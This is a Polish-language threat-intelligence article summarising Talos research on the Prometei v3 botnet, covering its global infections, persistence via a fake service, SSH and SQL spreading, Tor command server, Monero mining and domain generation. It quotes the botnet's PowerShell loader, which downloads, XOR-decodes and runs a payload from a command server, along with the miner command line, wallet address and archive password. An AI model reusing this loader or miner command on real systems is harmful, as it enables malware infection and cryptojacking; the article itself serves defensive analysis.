Nowa wersja Botnet’u Prometei przyczyną infekcji ponad 10 tysięcy systemów na całym świecie

Nowa wersja Botnet’u Prometei przyczyną infekcji ponad 10 tysięcy systemów na całym świecie. Prometei to modułowy botnet z możliwościami podobnymi do robaków, który przede wszystkim wdrażają koparkę kryptowalut Monero, jest stale ulepszany i aktualizowany, od czasu jego pierwszego pojawienia się w 2016 r. stanowi ciągle zagrożenie dla organizacji. Pierwotna wersja Prometei wdrażała narzędzia i złośliwe oprogramowanie oparte na systemie Windows oraz Linuks. Badacze z Talos potwierdzili, że działalność Prometei w zakresie wydobywania kryptowalut i kradzieży danych uwierzytelniających była motywowana finansowo, a jej skala była ogólnoświatowa. Zaatakowane zostały podmioty w różnych regionach i różnych branżach, co wpłynęło na wyższą wydajność pozyskanych danych uwierzytelniających i wydobywania kryptowaluty Monero. Botnet Prometei v3 jest średniej wielkości i obecnie obejmuje około 10 000 zainfekowanych systemów na całym świecie. Rozkład geograficzny zainfekowanych systemów jest równomierny i proporcjonalny do liczby ludności, przy czym ruch przechwytywany jest ze 155 krajów. Jedynym krajem wyróżniającym się jest Rosja, z nieproporcjonalnie mniejszą liczbą infekcji, odpowiadającą za 0,31 procent wszystkich zainfekowanych systemów.

Zagrożenie ze strony Prometei ciągle ewolujue, jego infrastruktura serwera dowodzenia i kontroli C2 wykazuje ciągłą ktywność, podczas gdy operatorzy stale zmieniają hosty dla złośliwego oprogramowania i wydobywania kryptowalut. Regularne aktualizowanie i rozszerzanie modułów Prometei świadczy o zaangażowaniu cyberprzestępców oraz dużej wiedzy technicznej, która umożliwią im dalsze rozprzestrzenianie botnet’u na nowe ofiary i ciągłe dostosowywanie się do nowych mechanizmów obronnych i zabezpieczeń. Badacze z Talos ustalili, że operatorzy Prometei wprowadzili modyfikacje, które automatyzują aktualizację komponentów i infrastruktury utrudniając analizę. Zaobserwowano, że łańcuch i kolejne działania wykonywane przez botnet były inicjowane przez polecenie PowerShell, które pobierało podstawowy moduł nasłuchiwania i wykonywania, określany jako „sqhost.exe”.

cmd /C echo 123>C:\Windows\mshlpda32.dll&powershell $p=’C:\windows\zsvc.exe’;(New-Object Net.WebClient).DownloadFile('[C2_HOST]/k.php?B={PARAMS}’,$p);$d=[IO.File]::ReadAllBytes($p);$t=New-Object Byte[]($d.Length);[int]$j=0;for([int]$i=0;$i -lt $d.Length;$i++){$j+=66;$t[$i]=(($d[$i] -bxor ($i*3 -band 255))-$j) -band 255;}[io.file]::WriteAllBytes($p,$t);Start-Process $p;

Z powyższego polecenia, moduł podstawowy pobierany jest z serwera cyberprzestępców, zaszyfrowany za pomocą wzorca zmiany bajtów XOR. Jego początkowa lokalizacja na dysku twardym to „C:\windows\zsvc.exe” i jest wykonywana za pomocą polecenia cmdlet „Start-Process” w PowerShell’u. Po pobraniu podstawowego modułu, dodatkowe polecenia ustanawiają trwałość na zaatakowanej maszynie i zapewniają komunikację z serwerem kontroli i dowodzenia C2. Za pomocą polecenia „netsh” zostaje dodana reguła zapory o nazwie „Secure Socket Tunneling Protocol (HTTP)”, a „C:\Windows\sqhost.exe” dodany zostaje do listy dozwolonych programów. Trwałość uzyskuje się poprzez utworzenie zautomatyzowanej usługi systemowej o nazwie „UPlugPlay”, która uruchamia program sqhost.exe z argumentem „Dcomsvc”. Oryginalnie pobrany plik jest następnie zmieniany z „zsvc.exe” na „sqhost.exe”. Pozostałe komponenty Prometei są dostarczane i aktualizowane zbiorczo za pomocą plików 7-Zip. Bot najpierw sprawdza, czy plik wykonywalny „7z.exe” i biblioteka „7z.dll” istnieją już w systemie, jeśli nie, wówczas plik wykonywalny i biblioteka współdzielona są zdalnie pobierane z serwera dowodzenia i kontroli C2. Bot pobiera dodatkowe pliki 7z o nazwie „std.7z”, które zawierają liczne współdzielone pliki bibliotek dla niektórych popularnych pakietów programistycznych używanych przez komponenty Prometei, takich jak kompilator GCC (libgcc), asynchroniczny procesor zdarzeń (libevent), interfejs .NET Security i łącznik .NET do PostgresSQL (npgsql). Pobierane są moduły wsparcia: rdpCIip.exe”, „miwalk.exe”, „windrlver.exe”, „nethelper2.exe”, „nethelper4.exe”, „smcard.exe”, „msdtc.exe”

Bot próbuje rozprzestrzeniać się przez SSH za pośrednictwem klienta SSH „windrLver.exe”. Pliki wykonywalne o nazwach „nethelper” to zespoły oparte na .NET, które próbują zlokalizować i połączyć się z dowolnymi serwerami SQL znajdującymi się w środowisku sieciowym. Po pomyślnym nawiązaniu połączenia pliki wykonywalne próbują zainstalować program sqhost.exe na serwerze. Ostatnie dwa moduły, „smcard.ext” i „msdtc.exe”, zajmują się komunikacją bota przez sieć Tor, z adresem Tor C2 reprezentowanym przez zakodowany na stałe adres URL w sqhost.exe i TLD „onion”: „hxxps: //gb7ni5rgeexdcncj[.]onion/cgi-bin/prometei.cgi”. Faktyczny ładunek dla wydobywania kryptowaluty jest pobierany zdalnie jako „srch.7z” i zapisywany na dysku jako „SearchIndexer.exe”. Polecenie PowerShell, które pobiera SearchIndexer.exe, jest podobne do tego, które usuwa główny składnik sqhost.exe. Najpierw przeprowadzane jest sprawdzenie, czy te same komponenty 7-Zip są obecne w systemie i pobiera je, jeśli ich nie ma. Metoda szyfrowania ma na celu ukrycie SearchIndexer.exe. Zamiast szyfrować ładunek poprzez manipulację bajtami XOR, jest on szyfrowany przez jego nadrzędne, chronione hasłem archiwum 7-Zip. Hasło „horhor123” jest widoczne w poleceniu PowerShell. Atrybuty konfiguracji koparki kryptowalut są dostarczane przez serwer dowodzenia i kontroli C2 za pośrednictwem pobranego pliku tekstowego o nazwie „desktop.txt”, zapisywanego na dysku w lokalizacji „C:\Windows\dell\desktop.

searchindexer.exe -o stratum+tcp://103.65.236[.]53:80 -u 4A1txQ9L8h8NqF4EtGsZDP5vRN3yTVKynbkyP1jvCiDajNLPepPbBdrbaqBu8fCTcFEFdCtgbekSsTf17B1MhyE2AKCEyfR -p x –donate-level 1

Wykorzystywany jest prosty algorytm do generowania domen (DGA), ok. 48 nowych domen dziennie, które mogą być używane przez serwery dowodzenia i kontroli (C2). Nazwa domeny jest generowana z ciągu „xinchao”, po którym następuje sześć pseudolosowych znaków opartych na bieżącej lokalnej dacie. Ponadto sufiks domen najwyższego poziomu (TLD) jest zmieniany między .com, .net i .org. np. z nslookup: xinchaodbcdbh.org, xinchaodbcdbh.com, xinchaoabcdcf.org, xinchaocecclk.org. Kolejną ewolucją botnetu Prometei jest rozszerzona funkcja samoaktualizacji.